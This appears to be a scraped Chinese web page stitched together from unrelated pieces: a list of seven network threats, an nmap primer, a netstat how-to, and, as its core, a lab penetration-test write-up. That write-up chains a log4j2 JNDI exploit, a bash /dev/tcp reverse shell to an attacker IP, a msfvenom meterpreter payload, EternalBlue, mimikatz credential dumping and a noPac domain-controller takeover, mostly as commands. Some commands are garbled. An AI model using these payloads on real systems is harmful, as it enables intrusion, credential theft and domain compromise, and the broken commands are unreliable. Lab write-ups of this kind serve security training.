udp端口扫描_2021端口扫描

hacker|
296

不属于常见的信息安全问题是什么

活动

招聘

专题

打开CSDN APP

Copyright © 1999-2020, CSDN.NET, All Rights Reserved

打开APP



cloud-man

关注

盘点常见的7种网络安全威胁 原创

2021-02-01 15:17:01

 1点赞

cloud-man 

码龄3年

关注

随着大数据、移动互联网、云计算、物联网等新技术的快速发展,数据信息量与流动性增大,运维面临的网络安全压力增加。在错综复杂的网络环境中,攻击者利用系统安全漏洞进行病毒勒索和攻击,威胁系统、信息传播、信息内容和网络的安全性。

以下盘点7种运维常见的网络安全威胁:

1.DOS/DDOS

DOS/DDOS故意地攻击网络协议实现的缺陷或直接通过野蛮手段耗尽被攻击对象的资源,使服务系统停止响应甚至崩溃,计算机或网络无法接受外界的请求。

2.缓冲区溢出

缓冲区溢出攻击是利用缓冲区溢出漏洞,取得系统特权,所进行的攻击行动。缓冲区溢出会导致程序崩溃、系统关机、重新启动等问题。

3.端口扫描攻击

端口扫描攻击是一种常用的探测技术,攻击者向目标计算机发送一组端口扫描消息,探寻弱点,试图以此进行入侵。

4.病毒传播

病毒是攻击者利用目标计算机软件和硬件固有的脆弱性编制一组指令集或程序代码,潜伏在存储介质(或程序)里,当被激活时,感染其他程序,对计算机资源进行破坏。中毒后,通常表现为:增、删、改、移。

5.木马攻击

木马是一段具有特殊功能的恶意代码,通过寻找计算机后门,隐藏在正常程序中。攻击者通过木马远程控制计算机的程序,对目标计算机实施监控、破坏和删除文件、发送密码、记录键盘和DOS攻击。

6.IP欺骗

IP地址欺骗是用IP数据包伪造源IP地址,以便冒充其他系统或发件人的身份,取得目标计算机信任,发送恶意请求,获取机密信息或使目标系统受到攻击却无法确认攻击源。

7.ARP欺骗

ARP欺骗是通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。

面对以上种种威胁,运维应该学会通过网络安全智能化管理,构筑安全堤坝,防范安全风险。

nmap扫描端口命令

nmap扫描端口的命令是:nmap -PS ip地址。

使用该命令可以扫描目标地址所开放的端口地址,nmap 扫描器主要基本功能有三个,一是探测一组主机是否在线,其次是扫描主机端口,嗅探所提供的网络服务,还可以推断主机所用的操作系统。也可以深入探测 UDP 或者 TCP 端口,直至主机所使用的操作系统;还可以将所有探测结果记录到各种格式的日志中, 供进一步分析操作。

以下是一些 nmap 常用的命令:

查看当前开放的端口:nmap localhost。

查看主机端口(1024-65535)中开放的端口:nmap -p 1024-65535 localhost。

探测目标主机开放的端口:nmap -PS ip 地址。

探测所列出的目标主机端口:nmap -p22,80,3306 ip 地址。

探测目标主机操作系统类型、端口服务名称、版本信息:nmap -sV -O localhost。

记一次log4j2引发的渗透测试

记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

pre class="6839-fb69-f7f3-9f36 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre

抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显

pre class="fb69-f7f3-9f36-95b1 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre

执行 ls -al / 看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

pre class="f7f3-9f36-95b1-dc74 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre

抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

pre class="9f36-95b1-dc74-351f md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre

ping一下是存活的

使用毒液把流量代理出来,首先开启监听

pre class="037b-e403-aee3-ba40 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre

然后上传agent_linux到靶机上

加权并执行

pre class="e403-aee3-ba40-f255 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86

agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre

连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

pre class="aee3-ba40-f255-1ed6 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre

然后加权并执行

pre class="ba40-f255-1ed6-84fc md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf

./shell/pre

kali使用 exploit/multi/handler 进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

pre class="f255-1ed6-84fc-9bd7 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg

route add 10.0.1.0 255.255.255.0 1

route print/pre

然后配置 proxychain4.conf 文件并使用socks模块

pre class="1ed6-84fc-9bd7-b481 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks

use auxiliary/sevrer/socks_proxy

run/pre

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

pre class="84fc-9bd7-b481-3398 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用 auxiliary/scanner/smb/smb_version 模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/smb/smb_ms17_010 模块,发现可以利用永恒之蓝

使用 exploit/windows/smb/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷

run之后拿到一个system权限的meterpreter

在 C:\Users\root\Desktop 下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为 redteam.lab 应该在域内

这里ping一下 redteam.lab 得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步

pre class="9bd7-b481-3398-94f6 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug

sekurlsa::logonpasswords/pre

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

这里直接使用 sam_the_admin.py 进行攻击

pre class="b481-3398-94f6-6839 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre

即可拿到DC的shell

在 C:\Users\Administrator\Desktop 下找到最后一个flag

如何扫描某一计算机开放的所有端口

在命令提示符中输入netstat -an可以扫描某一计算机开放的所有端口,具体步骤如下:

工具/材料:电脑

1、打开电脑,右键单击左下角开始,然后点击运行。

2、在运行的输入框里面输入cmd,然后点击确定。

3、在弹出的cmd.exe中输入netstat -an,然后敲击回车,这样就可以看到这个计算机所有开放的端口了。

0条大神的评论

发表评论